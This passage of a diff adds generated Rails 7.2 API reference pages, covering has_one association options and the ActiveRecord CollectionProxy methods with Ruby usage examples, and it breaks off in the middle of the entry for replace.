:disable_joins +
+

Specifies whether joins should be skipped for an association. If set to true, two or more queries will be generated. Note that in some cases, if order or limit is applied, it will be done in-memory due to database limitations. This option is only applicable on has_one :through associations as has_one alone does not perform a join.

+
:source +
+

Specifies the source association name used by has_one :through queries. Only use it if the name cannot be inferred from the association. has_one :favorite, through: :favorites will look for a :favorite on Favorite, unless a :source is given.

+
:source_type +
+

Specifies type of the source association used by has_one :through queries where the source association is a polymorphic belongs_to.

+
:validate +
+

When set to true, validates new objects added to association when saving the parent object. false by default. If you want to ensure associated objects are revalidated on every update, use validates_associated.

+
:autosave +
+

If true, always saves the associated object or destroys it if marked for destruction, when saving the parent object. If false, never save or destroy the associated object.

+ +

By default, only saves the associated object if it’s a new record. Setting this option to true also enables validations on the associated object unless explicitly disabled with validate: false. This is because saving an object with invalid associated objects would fail, so any associated objects will go through validation checks.

+ +

Note that NestedAttributes::ClassMethods#accepts_nested_attributes_for sets :autosave to true.

+
:touch +
+

If true, the associated object will be touched (the updated_at / updated_on attributes set to current time) when this record is either saved or destroyed. If you specify a symbol, that attribute will be updated with the current time in addition to the updated_at / updated_on attribute. Please note that no validation will be performed when touching, and only the after_touch, after_commit, and after_rollback callbacks will be executed.

+
:inverse_of +
+

Specifies the name of the belongs_to association on the associated object that is the inverse of this has_one association. See Bi-directional associations for more detail.

+
:required +
+

When set to true, the association will also have its presence validated. This will validate the association itself, not the id. You can use :inverse_of to avoid an extra query during validation.

+
:strict_loading +
+

Enforces strict loading every time the associated record is loaded through this association.

+
:ensuring_owner_was +
+

Specifies an instance method to be called on the owner. The method must return true in order for the associated records to be deleted in a background job.

+
:query_constraints +
+

Serves as a composite foreign key. Defines the list of columns to be used to query the associated object. This is an optional option. By default Rails will attempt to derive the value automatically. When the value is set the Array size must match associated model’s primary key or query_constraints size.

+
+ +

Option examples:

+ +
has_one :credit_card, dependent: :destroy  # destroys the associated credit card
+has_one :credit_card, dependent: :nullify  # updates the associated records foreign
+                                              # key value to NULL rather than destroying it
+has_one :last_comment, -> { order('posted_on') }, class_name: "Comment"
+has_one :project_manager, -> { where(role: 'project_manager') }, class_name: "Person"
+has_one :attachment, as: :attachable
+has_one :boss, -> { readonly }
+has_one :club, through: :membership
+has_one :club, through: :membership, disable_joins: true
+has_one :primary_address, -> { where(primary: true) }, through: :addressables, source: :addressable
+has_one :credit_card, required: true
+has_one :credit_card, strict_loading: true
+has_one :employment_record_book, query_constraints: [:organization_id, :employee_id]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations.rb, line 1468
+        def has_one(name, scope = nil, **options)
+          reflection = Builder::HasOne.build(self, name, scope, options)
+          Reflection.add_reflection self, name, reflection
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Associations/CollectionProxy.html b/src/7.2/classes/ActiveRecord/Associations/CollectionProxy.html new file mode 100644 index 0000000000..c1782017ce --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Associations/CollectionProxy.html @@ -0,0 +1,2404 @@ +--- +title: ActiveRecord::Associations::CollectionProxy +layout: default +--- +
+ +
+
+ +
+ +

Active Record Collection Proxy

+ +

Collection proxies in Active Record are middlemen between an association, and its target result set.

+ +

For example, given

+ +
class Blog < ActiveRecord::Base
+  has_many :posts
+end
+
+blog = Blog.first
+
+ +

The collection proxy returned by blog.posts is built from a :has_many association, and delegates to a collection of posts as the target.

+ +

This class delegates unknown methods to the associationβ€˜s relation class via a delegate cache.

+ +

The target result set is not loaded until needed. For example,

+ +
blog.posts.count
+
+ +

is computed directly through SQL and does not trigger by itself the instantiation of the actual post records.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + <<(*records) + +

+ + +
+

Adds one or more records to the collection by setting their foreign keys to the association’s primary key. Since << flattens its argument list and inserts each record, push and concat behave identically. Returns self so several appends may be chained together.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.size # => 0
+person.pets << Pet.new(name: 'Fancy-Fancy')
+person.pets << [Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo')]
+person.pets.size # => 3
+
+person.id # => 1
+person.pets
+# => [
+#      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#      #<Pet id: 2, name: "Spook", person_id: 1>,
+#      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + +
+ Also aliased as: push, append, concat +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 1049
+      def <<(*records)
+        proxy_association.concat(records) && self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ==(other) + +

+ + +
+

Equivalent to Array#==. Returns true if the two arrays contain the same number of elements and if each element is equal to the corresponding element in the other array, otherwise returns false.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#      #<Pet id: 2, name: "Spook", person_id: 1>
+#    ]
+
+other = person.pets.to_ary
+
+person.pets == other
+# => true
+
+ +

Note that unpersisted records can still be seen as equal:

+ +
other = [Pet.new(id: 1), Pet.new(id: 2)]
+
+person.pets == other
+# => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 980
+      def ==(other)
+        load_target == other
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + any?() + + +

+ + +
+

Returns true if the collection is not empty.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.count # => 0
+person.pets.any?  # => false
+
+person.pets << Pet.new(name: 'Snoop')
+person.pets.count # => 1
+person.pets.any?  # => true
+
+ +

Calling it without a block when the collection is not yet loaded is equivalent to collection.exists?. If you’re going to load the collection anyway, it is better to call collection.load.any? to avoid an extra query.

+ +

You can also pass a block to define criteria. The behavior is the same, it returns true if the collection based on the criteria is not empty.

+ +
person.pets
+# => [#<Pet name: "Snoop", group: "dogs">]
+
+person.pets.any? do |pet|
+  pet.group == 'cats'
+end
+# => false
+
+person.pets.any? do |pet|
+  pet.group == 'dogs'
+end
+# => true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + append(*records) + +

+ + +
+ +
+ + + + + +
+ Alias for: << +
+ + + + +
+ +
+

+ + build(attributes = {}, &block) + +

+ + +
+

Returns a new object of the collection type that has been instantiated with attributes and linked to this object, but have not yet been saved. You can pass an array of attributes hashes, this will return an array with the new objects.

+ +
class Person
+  has_many :pets
+end
+
+person.pets.build
+# => #<Pet id: nil, name: nil, person_id: 1>
+
+person.pets.build(name: 'Fancy-Fancy')
+# => #<Pet id: nil, name: "Fancy-Fancy", person_id: 1>
+
+person.pets.build([{name: 'Spook'}, {name: 'Choo-Choo'}, {name: 'Brain'}])
+# => [
+#      #<Pet id: nil, name: "Spook", person_id: 1>,
+#      #<Pet id: nil, name: "Choo-Choo", person_id: 1>,
+#      #<Pet id: nil, name: "Brain", person_id: 1>
+#    ]
+
+person.pets.size  # => 5 # size of the collection
+person.pets.count # => 0 # count from database
+
+
+ + + +
+ Also aliased as: new +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 318
+      def build(attributes = {}, &block)
+        @association.build(attributes, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + calculate(operation, column_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 724
+      def calculate(operation, column_name)
+        null_scope? ? scope.calculate(operation, column_name) : super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear() + +

+ + +
+

Equivalent to delete_all. The difference is that returns self, instead of an array with the deleted objects, so methods can be chained. See delete_all for more information. Note that because delete_all removes records by directly running an SQL query into the database, the updated_at column of the object is not changed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 1066
+      def clear
+        delete_all
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concat(*records) + +

+ + +
+ +
+ + + + + +
+ Alias for: << +
+ + + + +
+ +
+

+ + count(column_name = nil, &block) + + +

+ + +
+

Count all records.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+# This will perform the count using SQL.
+person.pets.count # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+ +

Passing a block will select all of a person’s pets in SQL and then perform the count using Ruby.

+ +
person.pets.count { |pet| pet.name.include?('-') } # => 2
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + create(attributes = {}, &block) + +

+ + +
+

Returns a new object of the collection type that has been instantiated with attributes, linked to this object and that has already been saved (if it passes the validations).

+ +
class Person
+  has_many :pets
+end
+
+person.pets.create(name: 'Fancy-Fancy')
+# => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+
+person.pets.create([{name: 'Spook'}, {name: 'Choo-Choo'}])
+# => [
+#      #<Pet id: 2, name: "Spook", person_id: 1>,
+#      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.size  # => 3
+person.pets.count # => 3
+
+person.pets.find(1, 2, 3)
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 349
+      def create(attributes = {}, &block)
+        @association.create(attributes, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create!(attributes = {}, &block) + +

+ + +
+

Like create, except that if the record is invalid, raises an exception.

+ +
class Person
+  has_many :pets
+end
+
+class Pet
+  validates :name, presence: true
+end
+
+person.pets.create!(name: nil)
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 365
+      def create!(attributes = {}, &block)
+        @association.create!(attributes, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(*records) + +

+ + +
+

Deletes the records supplied from the collection according to the strategy specified by the :dependent option. If no :dependent option is given, then it will follow the default strategy. Returns an array with the deleted records.

+ +

For has_many :through associations, the default deletion strategy is :delete_all.

+ +

For has_many associations, the default deletion strategy is :nullify. This sets the foreign keys to NULL.

+ +
class Person < ActiveRecord::Base
+  has_many :pets # dependent: :nullify option by default
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete(Pet.find(1))
+# => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+
+person.pets.size # => 2
+person.pets
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+Pet.find(1)
+# => #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>
+
+ +

If it is set to :destroy all the records are removed by calling their destroy method. See destroy for more information.

+ +
class Person < ActiveRecord::Base
+  has_many :pets, dependent: :destroy
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete(Pet.find(1), Pet.find(3))
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.size # => 1
+person.pets
+# => [#<Pet id: 2, name: "Spook", person_id: 1>]
+
+Pet.find(1, 3)
+# => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 3)
+
+ +

If it is set to :delete_all, all the records are deleted without calling their destroy method.

+ +
class Person < ActiveRecord::Base
+  has_many :pets, dependent: :delete_all
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete(Pet.find(1))
+# => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+
+person.pets.size # => 2
+person.pets
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+Pet.find(1)
+# => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=1
+
+ +

You can pass Integer or String values, it finds the records responding to the id and executes delete on them.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete("1")
+# => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+
+person.pets.delete(2, 3)
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 620
+      def delete(*records)
+        @association.delete(*records).tap { reset_scope }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_all(dependent = nil) + +

+ + +
+

Deletes all the records from the collection according to the strategy specified by the :dependent option. If no :dependent option is given, then it will follow the default strategy.

+ +

For has_many :through associations, the default deletion strategy is :delete_all.

+ +

For has_many associations, the default deletion strategy is :nullify. This sets the foreign keys to NULL.

+ +
class Person < ActiveRecord::Base
+  has_many :pets # dependent: :nullify option by default
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete_all
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.size # => 0
+person.pets      # => []
+
+Pet.find(1, 2, 3)
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>,
+#       #<Pet id: 2, name: "Spook", person_id: nil>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: nil>
+#    ]
+
+ +

Both has_many and has_many :through dependencies default to the :delete_all strategy if the :dependent option is set to :destroy. Records are not instantiated and callbacks will not be fired.

+ +
class Person < ActiveRecord::Base
+  has_many :pets, dependent: :destroy
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete_all
+
+Pet.find(1, 2, 3)
+# => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+
+ +

If it is set to :delete_all, all the objects are deleted without calling their destroy method.

+ +
class Person < ActiveRecord::Base
+  has_many :pets, dependent: :delete_all
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.delete_all
+
+Pet.find(1, 2, 3)
+# => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 474
+      def delete_all(dependent = nil)
+        @association.delete_all(dependent).tap { reset_scope }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy(*records) + +

+ + +
+

Destroys the records supplied and removes them from the collection. This method will always remove record from the database ignoring the :dependent option. Returns an array with the removed records.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.destroy(Pet.find(1))
+# => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+
+person.pets.size # => 2
+person.pets
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.destroy(Pet.find(2), Pet.find(3))
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.size  # => 0
+person.pets       # => []
+
+Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+
+ +

You can pass Integer or String values, it finds the records responding to the id and then deletes them from the database.

+ +
person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 4, name: "Benny", person_id: 1>,
+#       #<Pet id: 5, name: "Brain", person_id: 1>,
+#       #<Pet id: 6, name: "Boss",  person_id: 1>
+#    ]
+
+person.pets.destroy("4")
+# => #<Pet id: 4, name: "Benny", person_id: 1>
+
+person.pets.size # => 2
+person.pets
+# => [
+#       #<Pet id: 5, name: "Brain", person_id: 1>,
+#       #<Pet id: 6, name: "Boss",  person_id: 1>
+#    ]
+
+person.pets.destroy(5, 6)
+# => [
+#       #<Pet id: 5, name: "Brain", person_id: 1>,
+#       #<Pet id: 6, name: "Boss",  person_id: 1>
+#    ]
+
+person.pets.size  # => 0
+person.pets       # => []
+
+Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (4, 5, 6)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 692
+      def destroy(*records)
+        @association.destroy(*records).tap { reset_scope }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destroy_all() + +

+ + +
+

Deletes the records of the collection directly from the database ignoring the :dependent option. Records are instantiated and it invokes before_remove, after_remove, before_destroy, and after_destroy callbacks.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.size # => 3
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.destroy_all
+
+person.pets.size # => 0
+person.pets      # => []
+
+Pet.find(1) # => Couldn't find Pet with id=1
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 501
+      def destroy_all
+        @association.destroy_all.tap { reset_scope }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + distinct(value = true) + + +

+ + +
+

Specifies whether the records should be unique or not.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.select(:name)
+# => [
+#      #<Pet name: "Fancy-Fancy">,
+#      #<Pet name: "Fancy-Fancy">
+#    ]
+
+person.pets.select(:name).distinct
+# => [#<Pet name: "Fancy-Fancy">]
+
+person.pets.select(:name).distinct.distinct(false)
+# => [
+#      #<Pet name: "Fancy-Fancy">,
+#      #<Pet name: "Fancy-Fancy">
+#    ]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + empty?() + +

+ + +
+

Returns true if the collection is empty. If the collection has been loaded it is equivalent to collection.size.zero?. If the collection has not been loaded, it is equivalent to !collection.exists?. If the collection has not already been loaded and you are going to fetch the records anyway it is better to check collection.load.empty?.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.count  # => 1
+person.pets.empty? # => false
+
+person.pets.delete_all
+
+person.pets.count  # => 0
+person.pets.empty? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 831
+      def empty?
+        @association.empty?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fifth() + + +

+ + +
+

Same as first except returns only the fifth record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + find(*args) + +

+ + +
+

Finds an object in the collection responding to the id. Uses the same rules as ActiveRecord::FinderMethods.find. Returns ActiveRecord::RecordNotFound error if the object cannot be found.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.find(1) # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=4
+
+person.pets.find(2) { |pet| pet.name.downcase! }
+# => #<Pet id: 2, name: "fancy-fancy", person_id: 1>
+
+person.pets.find(2, 3)
+# => [
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 138
+      def find(*args)
+        return super if block_given?
+        @association.find(*args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + first(limit = nil) + + +

+ + +
+

Returns the first record, or the first n records, from the collection. If the collection is empty, the first form returns nil, and the second form returns an empty array.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.first # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+
+person.pets.first(2)
+# => [
+#      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#      #<Pet id: 2, name: "Spook", person_id: 1>
+#    ]
+
+another_person_without.pets          # => []
+another_person_without.pets.first    # => nil
+another_person_without.pets.first(3) # => []
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + forty_two() + + +

+ + +
+

Same as first except returns only the forty second record. Also known as accessing β€œthe reddit”.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + fourth() + + +

+ + +
+

Same as first except returns only the fourth record.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + include?(record) + +

+ + +
+

Returns true if the given record is present in the collection.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets # => [#<Pet id: 20, name: "Snoop">]
+
+person.pets.include?(Pet.find(20)) # => true
+person.pets.include?(Pet.find(21)) # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 927
+      def include?(record)
+        !!@association.include?(record)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last(limit = nil) + +

+ + +
+

Returns the last record, or the last n records, from the collection. If the collection is empty, the first form returns nil, and the second form returns an empty array.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+person.pets.last # => #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+
+person.pets.last(2)
+# => [
+#      #<Pet id: 2, name: "Spook", person_id: 1>,
+#      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+another_person_without.pets         # => []
+another_person_without.pets.last    # => nil
+another_person_without.pets.last(3) # => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 259
+      def last(limit = nil)
+        load_target if find_from_target?
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + length() + + +

+ + +
+

Returns the size of the collection calling size on the target. If the collection has been already loaded, length and size are equivalent. If not and you are going to need the records anyway this method will take one less query. Otherwise size is more efficient.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.length # => 3
+# executes something like SELECT "pets".* FROM "pets" WHERE "pets"."person_id" = 1
+
+# Because the collection is loaded, you can
+# call the collection with no additional queries:
+person.pets
+# => [
+#       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+#       #<Pet id: 2, name: "Spook", person_id: 1>,
+#       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+#    ]
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + load_target() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 44
+      def load_target
+        @association.load_target
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + loaded() + +

+ + +
+ +
+ + + + + +
+ Alias for: loaded? +
+ + + + +
+ +
+

+ + loaded?() + +

+ + +
+

Returns true if the association has been loaded, otherwise false.

+ +
person.pets.loaded? # => false
+person.pets.records
+person.pets.loaded? # => true
+
+
+ + + +
+ Also aliased as: loaded +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 53
+      def loaded?
+        @association.loaded?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + many?() + + +

+ + +
+

Returns true if the collection has more than one record. Equivalent to collection.size > 1.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.count # => 1
+person.pets.many? # => false
+
+person.pets << Pet.new(name: 'Snoopy')
+person.pets.count # => 2
+person.pets.many? # => true
+
+ +

You can also pass a block to define criteria. The behavior is the same, it returns true if the collection based on the criteria has more than one record.

+ +
person.pets
+# => [
+#      #<Pet name: "Gorby", group: "cats">,
+#      #<Pet name: "Puff", group: "cats">,
+#      #<Pet name: "Snoop", group: "dogs">
+#    ]
+
+person.pets.many? do |pet|
+  pet.group == 'dogs'
+end
+# => false
+
+person.pets.many? do |pet|
+  pet.group == 'cats'
+end
+# => true
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + new(attributes = {}, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: build +
+ + + + +
+ +
+

+ + pluck(*column_names) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 728
+      def pluck(*column_names)
+        null_scope? ? scope.pluck(*column_names) : super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + proxy_association() + +

+ + +
+

Returns the association object for the collection.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets.proxy_association
+# => #<ActiveRecord::Associations::HasManyAssociation owner="#<Person:0x00>">
+
+ +

Returns the same object as person.association(:pets), allowing you to make calls like person.pets.proxy_association.owner.

+ +

See Association extensions at Associations::ClassMethods for more.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 944
+      def proxy_association
+        @association
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + push(*records) + +

+ + +
+ +
+ + + + + +
+ Alias for: << +
+ + + + +
+ +
+

+ + reload() + +

+ + +
+

Reloads the collection from the database. Returns self.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets # fetches pets from the database
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+person.pets # uses the pets cache
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+person.pets.reload # fetches pets from the database
+# => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/associations/collection_proxy.rb, line 1085
+      def reload
+        proxy_association.reload(true)
+        reset_scope
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replace(other_array) + +

+ + +
+

Replaces this collection with other_array. This will perform a diff and delete/add only records that have changed.

+ +
class Person < ActiveRecord::Base
+  has_many :pets
+end
+
+person.pets
+# => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
+
+other_pets = [Pet.new(name: 'Puff', group: 'celebrities')]
+
+person.pets.replace(other_pets)
+
+person.pets
+# => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
+
+ +

If the supplied array has an incorrect association type, it raises an ActiveRecord::AssociationTypeMismatch error:

+ +
